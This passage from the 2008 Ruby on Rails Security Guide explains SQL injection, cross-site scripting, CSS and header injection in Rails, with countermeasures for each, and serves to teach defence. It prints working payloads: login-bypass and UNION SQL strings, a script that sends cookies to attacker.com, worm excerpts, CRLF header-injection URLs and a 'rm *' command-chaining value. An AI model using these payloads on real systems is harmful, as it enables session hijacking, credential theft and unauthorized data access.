<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="paragraph"><p>This could be in a search action and the user may enter a project&#8217;s name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
</div></div>
<div class="paragraph"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
<h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
<div class="paragraph"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="paragraph"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and ' OR '2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1</tt></pre>
</div></div>
<div class="paragraph"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
<h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
<div class="paragraph"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let&#8217;s take the example from above:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="paragraph"><p>And now let&#8217;s inject another query using the UNION statement:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
</div></div>
<div class="paragraph"><p>This will result in the following SQL query:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
</div></div>
<div class="paragraph"><p>The result won&#8217;t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That&#8217;s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
<div class="paragraph"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
<h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
<div class="paragraph"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions =&gt; "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
<div class="paragraph"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span></tt></pre></div></div>
<div class="paragraph"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="paragraph"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
<h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
<div class="paragraph"><p>-- <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
<h4 id="_entry_points">8.3.1. Entry points</h4>
<div class="paragraph"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
<div class="paragraph"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
<div class="paragraph"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
<div class="paragraph"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
<div class="paragraph"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
<h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
<div class="paragraph"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
<div class="paragraph"><p>Here is the most straightforward test to check for XSS:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;script&gt;alert('Hello');&lt;/script&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;img src=javascript:alert('Hello')&gt;
&lt;table background="javascript:alert('Hello')"&gt;</tt></pre>
</div></div>
<h5 id="_cookie_theft">Cookie theft</h5>
<div class="paragraph"><p>These examples don&#8217;t do any harm so far, so let&#8217;s see how an attacker can steal the user&#8217;s cookie (and thus hijack the user&#8217;s session). In JavaScript you can use the document.cookie property to read and write the document&#8217;s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;script&gt;document.write(document.cookie);&lt;/script&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server&#8217;s access log files to see the victims cookie.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>The log files on www.attacker.com will read like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
</div></div>
<div class="paragraph"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
<h5 id="_defacement">Defacement</h5>
<div class="paragraph"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
<div class="paragraph"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site&#8217;s original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
<div class="paragraph"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
&lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--</tt></pre>
</div></div>
<h5 id="_countermeasures_3">Countermeasures</h5>
<div class="paragraph"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
<div class="paragraph"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
<div class="paragraph"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")</tt></pre>
</div></div>
<div class="paragraph"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That&#8217;s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt></pre>
</div></div>
<div class="paragraph"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
<div class="paragraph"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn&#8217;t been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
<h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
<div class="paragraph"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
<h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
<div class="paragraph"><p>-- <em>In order to understand today&#8217;s attacks on web applications, it&#8217;s best to take a look at some real-world attack vectors.</em></p></div>
<div class="paragraph"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...</tt></pre>
</div></div>
<div class="paragraph"><p>The worms exploits a hole in Yahoo&#8217;s HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
<div class="paragraph"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta&#8217;s website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
<div class="paragraph"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
<div class="paragraph"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
<h3 id="_css_injection">8.4. CSS Injection</h3>
<div class="paragraph"><p>-- <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
<div class="paragraph"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
<div class="paragraph"><p>MySpace blocks many tags, however it allows CSS. So the worm&#8217;s author put JavaScript into CSS like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;div style="background:url('javascript:alert(1)')"&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
</div></div>
<div class="paragraph"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;</tt></pre>
</div></div>
<div class="paragraph"><p>Another problem for the worm&#8217;s author were CSRF security tokens. Without them he couldn&#8217;t send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
<div class="paragraph"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
<div class="paragraph"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
<h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
<div class="paragraph"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
<h3 id="_textile_injection">8.5. Textile Injection</h3>
<div class="paragraph"><p>-- <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
<div class="literalblock">
<div class="content">
<pre><tt>For example, RedCloth translates _test_ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:</tt></pre>
</div></div>
<div class="literalblock">
<div class="content">
<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
=&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"</tt></pre>
</div></div>
<div class="paragraph"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
=&gt; "alert(1)"</tt></pre>
</div></div>
<div class="paragraph"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>&gt;&gt; RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
=&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"</tt></pre>
</div></div>
<h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
<div class="paragraph"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
<h3 id="_ajax_injection">8.6. Ajax Injection</h3>
<div class="paragraph"><p>-- <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn&#8217;t render a view.</em></p></div>
<div class="paragraph"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
<h3 id="_rjs_injection">8.7. RJS Injection</h3>
<div class="paragraph"><p>-- <em>Don&#8217;t forget to escape in JavaScript (RJS) templates, too.</em></p></div>
<div class="paragraph"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
<h3 id="_command_line_injection">8.8. Command Line Injection</h3>
<div class="paragraph"><p>-- <em>Use user-supplied command line parameters with caution.</em></p></div>
<div class="paragraph"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
<div class="paragraph"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files</tt></pre>
</div></div>
<h3 id="_header_injection">8.9. Header Injection</h3>
<div class="paragraph"><p>-- <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
<div class="paragraph"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
<div class="paragraph"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>redirect_to params[:referer]</tt></pre>
</div></div>
<div class="paragraph"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld</tt></pre>
</div></div>
<div class="paragraph"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld</tt></pre>
</div></div>
<div class="paragraph"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld</tt></pre>
</div></div>
<div class="paragraph"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
<h4 id="_response_splitting">8.9.1. Response Splitting</h4>
<div class="paragraph"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html</tt></pre>
</div></div>
<div class="paragraph"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can&#8217;t rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
</div>
<h2 id="_additional_resources">9. Additional resources</h2>
<div class="sectionbody">
<div class="paragraph"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
<div class="ulist"><ul>
<li>
<p>
The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
</p>
</li>
<li>
<p>
Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
</p>
</li>
<li>
<p>
<a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)
</p>
</li>
<li>
<p>
A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
</p>
</li>
<li>
<p>
Another <a href="http://www.0x000000.com/">good security blog</a> with some Cheat Sheets, too
</p>
</li>
</ul></div>
</div>
<h2 id="_changelog">10. Changelog</h2>
<div class="sectionbody">
<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
<div class="ulist"><ul>
<li>
<p>
November 1, 2008: First approved version by Heiko Webers
</p>
</li>
</ul></div>
</div>
</div>
</div>
</body>
</html>
Reference in a new issue View git blame Copy permalink